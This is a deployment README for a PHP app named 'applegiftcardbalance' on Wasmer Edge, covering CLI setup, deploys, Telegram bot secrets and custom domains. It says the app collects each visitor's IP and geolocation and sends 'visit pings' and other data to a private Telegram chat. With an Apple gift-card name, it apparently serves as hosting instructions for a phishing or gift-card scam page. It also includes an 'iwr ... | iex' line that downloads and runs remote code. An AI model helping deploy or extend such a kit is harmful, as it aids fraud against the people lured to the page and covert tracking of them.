Deploying to Wasmer Edge
Everything needed is in this folder:
wasmer.toml # package manifest: PHP runtime + docroot + php.ini
app.yaml # Edge app config (owner, name, scaling, InstaBoot)
config/php.ini # production PHP settings
index.php # the page
config.php # bot token / chat id (env-aware)
functions.php # visitor info + Telegram helpers
assets/ # local images
The repo root is mounted at /app and served by PHP's built-in server
(php -t /app -S localhost:8080). config/php.ini is loaded via PHPRC=/config/.
1. Install the Wasmer CLI (Windows)
PowerShell:
iwr https://win.wasmer.io -useb | iex
Then open a new terminal and:
wasmer login
Create an account at https://wasmer.io/signup if you don't have one.
2. Set your names
Edit wasmer.toml:
[package]
name = "YOUR_WASMER_USERNAME/applegiftcardbalance"
Edit app.yaml:
owner: YOUR_WASMER_USERNAME
name: applegiftcardbalance
YOUR_WASMER_USERNAME is the same value you see in your Wasmer dashboard.
name must be unique inside your namespace.
3. Test locally (optional)
From this folder:
wasmer run .
Then open http://localhost:8080/ in a browser. Stop with Ctrl+C.
The PHP built-in server under WASI is single-threaded, which is why
app.yamlsetsscaling.mode: single_concurrency.
4. Deploy
wasmer deploy
Expected output:
App applegiftcardbalance (<you>) was successfully deployed 🚀
https://applegiftcardbalance.wasmer.app
Open the printed URL. If the name is taken, Wasmer suffixes it with your owner
(https://applegiftcardbalance-<you>.wasmer.app).
5. Set the Telegram secrets
The bot token and chat id are read from environment variables, so keep them out of the code:
wasmer app secrets create TG_BOT_TOKEN "123456789:AA...your-token..."
wasmer app secrets create TG_CHAT_ID "-1001234567890"
Then re-apply them to the app:
wasmer deploy
Optional toggles (also read from env):
wasmer app secrets create VISIT_NOTIFICATIONS "false" # silence visit pings
Without these secrets, config.php falls back to the YOUR_..._HERE
placeholders and the app just silently skips Telegram sends.
6. Later updates
Any change to the code is one command:
wasmer deploy
Check app info and logs:
wasmer app info
wasmer app logs
Bump the package version automatically on deploy with wasmer deploy --bump.
7. Custom domain (optional)
In the Wasmer dashboard go to the app -> Domains, add your domain, and point the DNS record it shows. SSL is provisioned automatically.
Notes / gotchas
- Outbound HTTP:
functions.phpuses cURL with afile_get_contentsfallback, so the Telegram send and the geo lookup (ipwho.is/ip-api.com) work on Edge. If geo ever showsUnknown, the outbound request was blocked - re-check the app logs. - Client IP: the Edge gateway forwards the visitor IP in
X-Forwarded-For;getVisitorIP()already reads it. - InstaBoot:
app.yamlpre-warms/. Those warm-up requests carry thex-edge-instabootheader, andindex.phpskips the visit notification for them so you don't get false pings on snapshot creation. - Static assets: everything under
assets/is served directly by the built-in server, so the page keeps loading images locally with no CDN. - Re-deploying is not a problem for InstaBoot: each deploy produces a fresh snapshot.
CLI cheat sheet
| Task | Command |
|---|---|
| Log in | wasmer login |
| Run locally | wasmer run . |
| Deploy / redeploy | wasmer deploy |
| App info | wasmer app info |
| Logs | wasmer app logs |
| Create a secret | wasmer app secrets create NAME "value" |
| List secrets | wasmer app secrets list |
| Update a secret | wasmer app secrets update NAME "value" |
| Reset InstaBoot cache | wasmer app purge-cache |
| List apps | wasmer app list |